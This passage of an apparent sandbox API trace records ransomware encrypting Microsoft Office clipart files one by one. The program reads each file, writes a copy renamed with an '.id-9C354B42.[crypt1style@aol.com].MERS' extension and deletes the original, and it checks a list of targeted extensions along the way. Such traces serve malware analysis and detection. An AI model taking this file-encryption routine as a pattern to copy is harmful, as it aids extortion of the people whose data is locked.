(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0270.536] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.536] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.536] GetLastError () returned 0x0 [0270.536] ReadFile (in: hFile=0x3e4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x7114, lpOverlapped=0x0) returned 1 [0270.543] WriteFile (in: hFile=0x418, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x7120, lpOverlapped=0x0) returned 1 [0270.544] ReadFile (in: hFile=0x3e4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0270.544] WriteFile (in: hFile=0x418, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.544] SetEndOfFile (hFile=0x418) returned 1 [0270.544] CloseHandle (hObject=0x418) returned 1 [0270.544] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.544] SetEndOfFile (hFile=0x3e4) returned 1 [0270.602] CloseHandle (hObject=0x3e4) returned 1 [0270.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0270.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.602] lstrlenW (lpString=".doc") returned 4 [0270.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.603] lstrlenW (lpString=".docx") returned 5 [0270.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.603] lstrlenW (lpString=".pdf") returned 4 [0270.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.603] lstrlenW (lpString=".xls") returned 4 [0270.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.603] lstrlenW (lpString=".xlsx") returned 5 [0270.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.603] lstrlenW (lpString=".ppt") returned 4 [0270.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.603] lstrlenW (lpString=".zip") returned 4 [0270.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.603] lstrlenW (lpString=".rar") returned 4 [0270.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.603] lstrlenW (lpString=".bz2") returned 4 [0270.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.603] lstrlenW (lpString=".7z") returned 3 [0270.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.603] lstrlenW (lpString=".dbf") returned 4 [0270.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.603] lstrlenW (lpString=".1cd") returned 4 [0270.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.603] lstrlenW (lpString=".jpg") returned 4 [0270.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.603] lstrlenW (lpString=".doc") returned 4 [0270.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.603] lstrlenW (lpString=".docx") returned 5 [0270.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.603] lstrlenW (lpString=".pdf") returned 4 [0270.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.604] lstrlenW (lpString=".xls") returned 4 [0270.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.604] lstrlenW (lpString=".xlsx") returned 5 [0270.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.604] lstrlenW (lpString=".ppt") returned 4 [0270.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.604] lstrlenW (lpString=".zip") returned 4 [0270.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.604] lstrlenW (lpString=".rar") returned 4 [0270.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.604] lstrlenW (lpString=".bz2") returned 4 [0270.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.604] lstrlenW (lpString=".7z") returned 3 [0270.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.604] lstrlenW (lpString=".dbf") returned 4 [0270.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.604] lstrlenW (lpString=".1cd") returned 4 [0270.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0270.604] lstrlenW (lpString=".jpg") returned 4 [0270.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.604] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.604] lstrlenW (lpString="BD00155_.WMF") returned 12 [0270.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0270.605] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=11636) returned 1 [0270.605] CloseHandle (hObject=0x3e4) returned 1 [0270.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0270.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0270.605] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.605] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.605] GetLastError () returned 0x0 [0270.605] ReadFile (in: hFile=0x3e4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x2d74, lpOverlapped=0x0) returned 1 [0270.607] WriteFile (in: hFile=0x418, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0270.608] ReadFile (in: hFile=0x3e4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0270.608] WriteFile (in: hFile=0x418, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.608] SetEndOfFile (hFile=0x418) returned 1 [0270.608] CloseHandle (hObject=0x418) returned 1 [0270.608] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.608] SetEndOfFile (hFile=0x3e4) returned 1 [0270.610] CloseHandle (hObject=0x3e4) returned 1 [0270.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0270.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.611] lstrlenW (lpString=".doc") returned 4 [0270.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString=".docx") returned 5 [0270.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.611] lstrlenW (lpString=".pdf") returned 4 [0270.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString=".xls") returned 4 [0270.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.611] lstrlenW (lpString=".xlsx") returned 5 [0270.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.611] lstrlenW (lpString=".ppt") returned 4 [0270.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.611] lstrlenW (lpString=".zip") returned 4 [0270.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.611] lstrlenW (lpString=".rar") returned 4 [0270.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString=".bz2") returned 4 [0270.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString=".7z") returned 3 [0270.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.611] lstrlenW (lpString=".dbf") returned 4 [0270.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.611] lstrlenW (lpString=".1cd") returned 4 [0270.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.611] lstrlenW (lpString=".jpg") returned 4 [0270.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.612] lstrlenW (lpString=".doc") returned 4 [0270.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.612] lstrlenW (lpString=".docx") returned 5 [0270.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.612] lstrlenW (lpString=".pdf") returned 4 [0270.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.612] lstrlenW (lpString=".xls") returned 4 [0270.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.612] lstrlenW (lpString=".xlsx") returned 5 [0270.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.612] lstrlenW (lpString=".ppt") returned 4 [0270.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.612] lstrlenW (lpString=".zip") returned 4 [0270.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.612] lstrlenW (lpString=".rar") returned 4 [0270.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.612] lstrlenW (lpString=".bz2") returned 4 [0270.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.612] lstrlenW (lpString=".7z") returned 3 [0270.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.612] lstrlenW (lpString=".dbf") returned 4 [0270.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.612] lstrlenW (lpString=".1cd") returned 4 [0270.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0270.612] lstrlenW (lpString=".jpg") returned 4 [0270.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.613] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.613] lstrlenW (lpString="BD00160_.WMF") returned 12 [0270.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.613] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=22516) returned 1 [0270.613] CloseHandle (hObject=0x418) returned 1 [0270.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0270.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.614] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.614] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.614] GetLastError () returned 0x0 [0270.614] ReadFile (in: hFile=0x418, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x57f4, lpOverlapped=0x0) returned 1 [0270.695] WriteFile (in: hFile=0x3b4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x5800, lpOverlapped=0x0) returned 1 [0270.696] ReadFile (in: hFile=0x418, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0270.696] WriteFile (in: hFile=0x3b4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.696] SetEndOfFile (hFile=0x3b4) returned 1 [0270.702] CloseHandle (hObject=0x3b4) returned 1 [0270.702] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.702] SetEndOfFile (hFile=0x418) returned 1 [0270.705] CloseHandle (hObject=0x418) returned 1 [0270.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.706] lstrlenW (lpString=".doc") returned 4 [0270.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString=".docx") returned 5 [0270.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.706] lstrlenW (lpString=".pdf") returned 4 [0270.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString=".xls") returned 4 [0270.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.706] lstrlenW (lpString=".xlsx") returned 5 [0270.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.706] lstrlenW (lpString=".ppt") returned 4 [0270.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.706] lstrlenW (lpString=".zip") returned 4 [0270.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.706] lstrlenW (lpString=".rar") returned 4 [0270.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString=".bz2") returned 4 [0270.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString=".7z") returned 3 [0270.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.706] lstrlenW (lpString=".dbf") returned 4 [0270.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.707] lstrlenW (lpString=".1cd") returned 4 [0270.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.707] lstrlenW (lpString=".jpg") returned 4 [0270.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.707] lstrlenW (lpString=".doc") returned 4 [0270.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString=".docx") returned 5 [0270.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.707] lstrlenW (lpString=".pdf") returned 4 [0270.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString=".xls") returned 4 [0270.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.707] lstrlenW (lpString=".xlsx") returned 5 [0270.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.707] lstrlenW (lpString=".ppt") returned 4 [0270.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.707] lstrlenW (lpString=".zip") returned 4 [0270.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.707] lstrlenW (lpString=".rar") returned 4 [0270.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString=".bz2") returned 4 [0270.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString=".7z") returned 3 [0270.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.707] lstrlenW (lpString=".dbf") returned 4 [0270.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.707] lstrlenW (lpString=".1cd") returned 4 [0270.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0270.708] lstrlenW (lpString=".jpg") returned 4 [0270.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.708] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.708] lstrlenW (lpString="BD07831_.WMF") returned 12 [0270.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.708] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=4066) returned 1 [0270.709] CloseHandle (hObject=0x418) returned 1 [0270.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0270.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.709] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.709] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" 